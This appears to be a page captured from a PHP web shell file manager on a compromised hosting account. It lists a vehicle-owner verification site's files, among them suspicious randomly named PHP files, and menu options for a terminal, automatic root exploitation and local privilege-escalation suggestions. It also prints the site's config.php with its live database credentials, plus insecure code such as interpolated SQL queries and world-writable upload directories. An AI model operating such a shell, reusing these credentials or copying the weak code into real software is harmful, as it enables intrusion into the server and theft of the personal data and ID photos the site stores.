Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
car.owner /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-11-15 16:11
admin
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
cgi-bin
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
qr_codes
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
samecar
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
uploads
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
2V3RLatL.php
445
B
-rw-r--r--
2026-02-23 13:08
INSTALLATION.txt
1.59
KB
-rw-r--r--
2025-11-15 19:41
README.md
4.67
KB
-rw-r--r--
2025-11-15 19:41
change_language.php
413
B
-rw-r--r--
2025-11-15 19:33
check_gd.php
1.71
KB
-rw-r--r--
2025-11-15 20:15
check_user.php
1.17
KB
-rw-r--r--
2025-11-15 20:04
completed_applications.php
5.79
KB
-rw-r--r--
2025-11-15 20:31
config.php
10.52
KB
-rw-r--r--
2025-11-15 15:47
dashboard.php
4.61
KB
-rw-r--r--
2025-11-15 20:31
database.sql
4.76
KB
-rw-r--r--
2025-11-15 15:46
error_log
2.12
KB
-rw-r--r--
2025-12-06 06:58
fix_qr_codes.php
2.21
KB
-rw-r--r--
2025-11-15 19:55
footer.php
2.68
KB
-rw-r--r--
2025-11-15 20:31
generate_qr.php
1.2
KB
-rw-r--r--
2025-11-15 19:37
header.php
16.38
KB
-rw-r--r--
2025-11-15 20:31
index.php
3.01
KB
-rw-r--r--
2025-11-15 20:31
login.php
4.61
KB
-rw-r--r--
2025-11-15 20:31
logout.php
85
B
-rw-r--r--
2025-11-15 19:33
new_application.php
26.13
KB
-rw-r--r--
2025-11-15 20:31
payment.php
6.09
KB
-rw-r--r--
2025-11-15 20:31
payment_history.php
4.1
KB
-rw-r--r--
2025-11-15 20:31
pending_applications.php
5.21
KB
-rw-r--r--
2025-11-15 20:31
profile.php
17.09
KB
-rw-r--r--
2025-11-15 20:31
register.php
5.87
KB
-rw-r--r--
2025-11-15 20:31
samecar.zip
71.94
MB
-rw-r--r--
2025-11-15 15:45
setup_admin.php
5.25
KB
-rw-r--r--
2025-11-15 19:48
submit_payment.php
2.36
KB
-rw-r--r--
2025-11-15 19:36
test_admin.php
1.99
KB
-rw-r--r--
2025-11-15 19:48
txets.php
4.37
KB
-rw-r--r--
2026-02-24 02:50
update_existing_applications.php
1.89
KB
-rw-r--r--
2025-11-15 20:01
view_qr.php
7.8
KB
-rw-r--r--
2025-11-15 20:31
wp-blog-header.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
yKytReRg.php
445
B
-rw-r--r--
2026-02-22 23:14
Save
Rename
<?php // Database Configuration define('DB_HOST', 'localhost'); define('DB_USER', 'fastear1_carowner'); define('DB_PASS', 'fastear1_carowner'); define('DB_NAME', 'fastear1_carowner'); // Site Configuration define('SITE_URL', 'hhttp://car.owner.fastearnlimited.com/'); define('SITE_NAME', 'Owner Verification System'); // File Upload Configuration define('UPLOAD_DIR', 'uploads/'); define('QR_CODE_DIR', 'qr_codes/'); define('MAX_FILE_SIZE', 5 * 1024 * 1024); // 5MB // Allowed File Types define('ALLOWED_IMAGE_TYPES', ['image/jpeg', 'image/jpg', 'image/png', 'image/gif']); // Session Configuration ini_set('session.cookie_httponly', 1); ini_set('session.use_only_cookies', 1); ini_set('session.cookie_secure', 0); // Set to 1 in production with HTTPS // Timezone date_default_timezone_set('Asia/Karachi'); // Start Session if (session_status() === PHP_SESSION_NONE) { session_start(); } // Database Connection function getDBConnection() { static $conn = null; if ($conn === null) { try { $conn = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } $conn->set_charset("utf8mb4"); } catch (Exception $e) { die("Database connection error: " . $e->getMessage()); } } return $conn; } // Security Functions function sanitizeInput($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8'); return $data; } function sanitizeSQL($conn, $data) { return mysqli_real_escape_string($conn, $data); } // Check if GD extension is available function isGDAvailable() { return extension_loaded('gd') && function_exists('imagecreatefromjpeg'); } // Resize image to passport size (600x600 pixels) function resizeToPassportSize($source_path, $destination_path) { // Check if GD extension is available if (!isGDAvailable()) { // GD not available - just copy the file return copy($source_path, $destination_path); } // Passport size: 600x600 pixels (2x2 inches at 300 DPI) $target_width = 600; $target_height = 600; // Get image info $image_info = @getimagesize($source_path); if (!$image_info) { return false; } $source_width = $image_info[0]; $source_height = $image_info[1]; $mime_type = $image_info['mime']; // Create image from source based on type $source_image = false; switch ($mime_type) { case 'image/jpeg': case 'image/jpg': if (function_exists('imagecreatefromjpeg')) { $source_image = @imagecreatefromjpeg($source_path); } break; case 'image/png': if (function_exists('imagecreatefrompng')) { $source_image = @imagecreatefrompng($source_path); } break; case 'image/gif': if (function_exists('imagecreatefromgif')) { $source_image = @imagecreatefromgif($source_path); } break; default: return false; } if (!$source_image) { // If image creation fails, just copy the original return copy($source_path, $destination_path); } // Create new image with passport size $destination_image = @imagecreatetruecolor($target_width, $target_height); if (!$destination_image) { imagedestroy($source_image); return copy($source_path, $destination_path); } // Preserve transparency for PNG if ($mime_type == 'image/png') { imagealphablending($destination_image, false); imagesavealpha($destination_image, true); $transparent = imagecolorallocatealpha($destination_image, 255, 255, 255, 127); imagefilledrectangle($destination_image, 0, 0, $target_width, $target_height, $transparent); } // Calculate aspect ratio and resize (crop to fit) $source_ratio = $source_width / $source_height; $target_ratio = $target_width / $target_height; if ($source_ratio > $target_ratio) { // Source is wider - crop width $new_height = $source_height; $new_width = $source_height * $target_ratio; $x_offset = ($source_width - $new_width) / 2; $y_offset = 0; } else { // Source is taller - crop height $new_width = $source_width; $new_height = $source_width / $target_ratio; $x_offset = 0; $y_offset = ($source_height - $new_height) / 2; } // Resize and crop imagecopyresampled( $destination_image, $source_image, 0, 0, $x_offset, $y_offset, $target_width, $target_height, $new_width, $new_height ); // Save resized image $result = false; switch ($mime_type) { case 'image/jpeg': case 'image/jpg': $result = imagejpeg($destination_image, $destination_path, 90); break; case 'image/png': $result = imagepng($destination_image, $destination_path, 9); break; case 'image/gif': $result = imagegif($destination_image, $destination_path); break; } // Free memory imagedestroy($source_image); imagedestroy($destination_image); return $result; } // Generate unique 7-digit application code function generateApplicationCode($conn) { $max_attempts = 100; $attempt = 0; do { // Generate random 7-digit number (1000000 to 9999999) $code = str_pad(rand(1000000, 9999999), 7, '0', STR_PAD_LEFT); // Check if code already exists $check = $conn->query("SELECT id FROM applications WHERE application_code = '$code'"); if ($check->num_rows == 0) { return $code; } $attempt++; } while ($attempt < $max_attempts); // Fallback: use timestamp-based code if all random attempts fail return substr(time(), -7); } // Check if user is logged in function isUserLoggedIn() { return isset($_SESSION['user_id']) && !empty($_SESSION['user_id']); } // Check if admin is logged in function isAdminLoggedIn() { return isset($_SESSION['admin_id']) && !empty($_SESSION['admin_id']); } // Redirect function function redirect($url) { header("Location: " . $url); exit(); } // Language Support function getLanguage() { return isset($_SESSION['language']) ? $_SESSION['language'] : 'en'; } function setLanguage($lang) { $_SESSION['language'] = $lang; } // Language Translations function t($key) { $lang = getLanguage(); $translations = [ 'en' => [ 'dashboard' => 'Dashboard', 'new_application' => 'New Application', 'pending_applications' => 'Pending Applications', 'completed_applications' => 'Completed Applications', 'profile' => 'Profile', 'payment_history' => 'Payment History', 'logout' => 'Logout', 'login' => 'Login', 'register' => 'Register', 'full_name' => 'Full Name', 'father_name' => 'Father Name', 'age' => 'Age', 'education' => 'Education', 'address' => 'Complete Address', 'phone' => 'Phone Number', 'email' => 'Email Address', 'confirm_phone' => 'Confirm Phone Number', 'vehicle_type' => 'Vehicle Type', 'vehicle_name' => 'Vehicle Name', 'vehicle_number' => 'Vehicle Number', 'confirm_vehicle_number' => 'Confirm Vehicle Number', 'vehicle_color' => 'Vehicle Color', 'license_id' => 'License ID', 'driving_experience' => 'Driving Experience', 'upload_vehicle_pictures' => 'Upload 3 Vehicle Pictures', 'upload_your_picture' => 'Upload Your Picture', 'next' => 'Next', 'previous' => 'Previous', 'submit' => 'Submit', 'review' => 'Review All Data', 'confirm_submit' => 'Confirm & Submit Application', ], 'ur' => [ 'dashboard' => 'ڈیش بورڈ', 'new_application' => 'نیا درخواست', 'pending_applications' => 'زیر التواء درخواستیں', 'completed_applications' => 'مکمل درخواستیں', 'profile' => 'پروفائل', 'payment_history' => 'ادائیگی کی تاریخ', 'logout' => 'لاگ آؤٹ', 'login' => 'لاگ ان', 'register' => 'رجسٹر', 'full_name' => 'مکمل نام', 'father_name' => 'والد کا نام', 'age' => 'عمر', 'education' => 'تعلیم', 'address' => 'مکمل پتہ', 'phone' => 'فون نمبر', 'email' => 'ای میل ایڈریس', 'confirm_phone' => 'فون نمبر کی تصدیق', 'vehicle_type' => 'گاڑی کی قسم', 'vehicle_name' => 'گاڑی کا نام', 'vehicle_number' => 'گاڑی کا نمبر', 'confirm_vehicle_number' => 'گاڑی کے نمبر کی تصدیق', 'vehicle_color' => 'گاڑی کا رنگ', 'license_id' => 'لائسنس آئی ڈی', 'driving_experience' => 'ڈرائیونگ کا تجربہ', 'upload_vehicle_pictures' => '3 گاڑی کی تصاویر اپ لوڈ کریں', 'upload_your_picture' => 'اپنی تصویر اپ لوڈ کریں', 'next' => 'اگلا', 'previous' => 'پچھلا', 'submit' => 'جمع کروائیں', 'review' => 'تمام ڈیٹا کا جائزہ', 'confirm_submit' => 'تصدیق کریں اور درخواست جمع کروائیں', ] ]; return isset($translations[$lang][$key]) ? $translations[$lang][$key] : $key; } // Create necessary directories if (!file_exists(UPLOAD_DIR)) { mkdir(UPLOAD_DIR, 0777, true); } if (!file_exists(QR_CODE_DIR)) { mkdir(QR_CODE_DIR, 0777, true); } if (!file_exists(UPLOAD_DIR . 'vehicles/')) { mkdir(UPLOAD_DIR . 'vehicles/', 0777, true); } if (!file_exists(UPLOAD_DIR . 'owners/')) { mkdir(UPLOAD_DIR . 'owners/', 0777, true); } ?>